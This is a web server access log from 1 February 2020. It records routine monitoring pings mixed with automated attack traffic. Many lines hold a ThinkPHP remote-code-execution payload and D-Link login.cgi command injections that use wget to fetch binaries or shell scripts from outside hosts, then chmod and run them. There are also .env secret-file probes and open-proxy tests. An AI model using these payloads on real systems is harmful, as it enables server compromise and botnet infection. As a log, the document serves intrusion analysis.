42.119.132.51 - - [01/Feb/2020:10:36:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:36:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:37:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.208.142.244 - - [01/Feb/2020:10:38:22 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:10:38:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.126.56.174 - - [01/Feb/2020:10:39:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
177.47.197.167 - - [01/Feb/2020:10:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:10:39:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:40:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.162.230.187 - - [01/Feb/2020:10:41:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:41:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.24.103 - - [01/Feb/2020:10:41:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.154.249.246 - - [01/Feb/2020:10:42:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:10:42:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.104.117.144 - - [01/Feb/2020:10:43:29 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
177.70.89.92 - - [01/Feb/2020:10:43:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:10:43:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.207.170.219 - - [01/Feb/2020:10:44:37 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
123.207.170.219 - - [01/Feb/2020:10:44:37 +0100] "POST /Admin57f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [01/Feb/2020:10:44:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.215.12.47 - - [01/Feb/2020:10:45:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.53.142.189 - - [01/Feb/2020:10:45:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:45:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.123.202 - - [01/Feb/2020:10:46:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [01/Feb/2020:10:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.225.119.202 - - [01/Feb/2020:10:47:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
1.52.179.251 - - [01/Feb/2020:10:47:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.148.76 - - [01/Feb/2020:10:48:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:48:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:49:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:50:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.242.167.30 - - [01/Feb/2020:10:51:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.8.119.247 - - [01/Feb/2020:10:51:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:51:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.81 - - [01/Feb/2020:10:52:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:52:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:53:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.38.82.164 - - [01/Feb/2020:10:54:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:55:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:56:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.19.196 - - [01/Feb/2020:10:57:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:57:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.74.35 - - [01/Feb/2020:10:57:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.132.169.243 - - [01/Feb/2020:10:58:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:10:58:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:10:59:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.48.244 - - [01/Feb/2020:10:59:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.254.59.113 - - [01/Feb/2020:11:00:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
58.187.209.70 - - [01/Feb/2020:11:00:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:00:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
115.235.182.8 - - [01/Feb/2020:11:01:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:01:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:02:04 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
222.186.19.221 - - [01/Feb/2020:11:02:28 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
111.224.220.98 - - [01/Feb/2020:11:02:37 +0100] "HEAD http://123.125.114.144/ HTTP/1.1" 200 - "-" "Mozilla/5.01669615 Mozilla/5.0 (Linux; Android 5.1; S900PROBT Build/LMY47I) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/39.0.0.0 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:02:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:03:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:04:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.30.64.158 - - [01/Feb/2020:11:04:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.247.179 - - [01/Feb/2020:11:04:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:05:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.183.108.136 - - [01/Feb/2020:11:05:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.231.137.59 - - [01/Feb/2020:11:06:07 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
58.87.104.102 - - [01/Feb/2020:11:06:29 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.102 - - [01/Feb/2020:11:06:29 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.102 - - [01/Feb/2020:11:06:29 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.102 - - [01/Feb/2020:11:06:30 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
58.87.104.102 - - [01/Feb/2020:11:06:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [01/Feb/2020:11:06:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:07:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:07:54 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
221.213.75.181 - - [01/Feb/2020:11:08:08 +0100] "CONNECT www.baidu.com:443 HTTP/1.1" 405 343 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
221.213.75.236 - - [01/Feb/2020:11:08:09 +0100] "CONNECT cn.bing.com:443 HTTP/1.1" 405 341 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
124.90.52.197 - - [01/Feb/2020:11:08:10 +0100] "GET http://www.epochtimes.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.158.60.85 - - [01/Feb/2020:11:08:10 +0100] "CONNECT www.voanews.com:443 HTTP/1.1" 405 345 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
182.138.158.41 - - [01/Feb/2020:11:08:13 +0100] "GET http://boxun.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
113.128.104.161 - - [01/Feb/2020:11:08:15 +0100] "GET http://www.minghui.org/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
221.13.12.183 - - [01/Feb/2020:11:08:15 +0100] "GET http://www.123cha.com/ HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
171.36.133.181 - - [01/Feb/2020:11:08:15 +0100] "GET http://www.rfa.org/english/ HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"
123.191.145.175 - - [01/Feb/2020:11:08:16 +0100] "CONNECT www.ipip.net:443 HTTP/1.1" 405 342 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3"
212.91.246.72 - - [01/Feb/2020:11:08:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.242.136.140 - - [01/Feb/2020:11:08:57 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
1.53.142.189 - - [01/Feb/2020:11:09:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
81.104.92.172 - - [01/Feb/2020:11:09:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:11:09:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.181.153 - - [01/Feb/2020:11:10:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:10:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:10:55 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [01/Feb/2020:11:11:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:12:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.24.208.170 - - [01/Feb/2020:11:12:54 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:13:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.28.111.56 - - [01/Feb/2020:11:13:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
117.0.195.166 - - [01/Feb/2020:11:13:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:14:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.240.176 - - [01/Feb/2020:11:14:50 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
91.77.160.112 - - [01/Feb/2020:11:14:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.195.154.46 - - [01/Feb/2020:11:15:10 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:15:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.9.13.129 - - [01/Feb/2020:11:16:27 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:11:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:17:27 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [01/Feb/2020:11:17:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.223.23.41 - - [01/Feb/2020:11:17:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
85.108.65.184 - - [01/Feb/2020:11:18:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:11:18:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:19:13 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.118.227.221 - - [01/Feb/2020:11:19:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.114.224.207 - - [01/Feb/2020:11:19:39 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.114.224.207 - - [01/Feb/2020:11:19:39 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
122.114.224.207 - - [01/Feb/2020:11:19:39 +0100] "POST /Admin59f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0)"
212.91.246.72 - - [01/Feb/2020:11:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.61 - - [01/Feb/2020:11:19:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.48.96.43 - - [01/Feb/2020:11:19:57 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
222.186.19.221 - - [01/Feb/2020:11:20:03 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.114.243.89 - - [01/Feb/2020:11:20:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:11:20:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:21:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.139.190.98 - - [01/Feb/2020:11:21:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:11:22:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:22:46 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
212.91.246.72 - - [01/Feb/2020:11:23:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:11:24:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.186.19.221 - - [01/Feb/2020:11:25:21 +0100] "CONNECT ip.ws.126.net:443 HTTP/1.1" 405 343 "-" "Go-http-client/1.1"
42.118.100.25 - - [01/Feb/2020:11:25:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
